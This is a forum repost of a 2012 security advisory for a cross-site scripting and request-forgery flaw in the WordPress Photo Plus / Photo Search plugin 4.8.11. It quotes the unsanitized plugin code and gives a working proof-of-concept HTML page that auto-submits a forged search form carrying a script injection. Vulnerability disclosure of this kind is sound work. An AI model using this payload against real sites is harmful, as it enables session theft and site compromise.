Praetorian503 Posted December 31, 2012 Report Posted December 31, 2012 WordPress Photo Plus / Photo Search version 4.8.11 suffers from cross site request forgery and cross site scripting vulnerabilities.# Exploit Title: Word Press Photo Plus, Photo Search XSS/CSRF Vulnerability# Google Dork:# Date: 29/12/12# Exploit Author: k3170makan# Vendor Homepage: http://wordpress.org/extend/plugins/wp-photo-album-plus/# Software Link: http://wordpress.org/extend/plugins/wp-photo-album-plus/# Version: 4.8.11# Tested on: Ubuntu 10.04Word Press Photo Plus plugin suffers from a XSS/CSRF via Vulnerability inthe "Search Photos" functionCode:extract from wp-photo-album-plus.php, in widget function-------------------------------------------------------------------------------------------------------------------------------- 42 <form id="wppa_searchform" action="<?php echo($pagelink) ?>"method="post" class="widget_search"> 43 <div> 44 <?php echo $instance['label'] ?> 45 <input type="text" name="wppa-searchstring" id="wppa_s"value="<?php echo $wppa[ 'searchstring'] ?>" /> 46 <input id = "wppa_searchsubmit" type="submit"value="<?php _e('Search', 'wppa'); ?>" /> 47 </div>---------------------------------------------------------------------------------------------------------------------------------The above code fails to sanitize the $wppa['searchstring'] variable,allowing attacks to inject harmfull HTML elements and JavaScript code.Submissions to this form can also be made from any domain, which actuallyaids in the exploitation of the vulnerability thus this is classified as aCSRF VulnerabilityExploit Code:The exploit requires an attacker to forge a post request to this form, thiscan be done by using the following html page-------------------------------------------------------------------------------------------------------------------------------- 1 <html> 2 <body onload="xss()"> 3 <form name="f" id="wppa_searchform" action="http://[domain name]/[photosearch page path]" method="post" class="widget_search"> 4 <input type="text" name="wppa-searchstring" id="wppa_s"value='"><script>alert(1);</script><textarea>'> 5 <input name="s" id="wppa_searchsubmit" type="submit" value="Search"> 6 </form> 7 <script> 8 function xss(){ 9 document.f.s.click(); 10 } 11 </script> 12 <body> 13 <html>--------------------------------------------------------------------------------------------------------------------------------[photo search page path] can be obtained by reading the path set in theoriginal photo search form attributes-- <Keith k3170makan <http://about.me/k3170makan> Makan/>Source: PacketStorm Quote
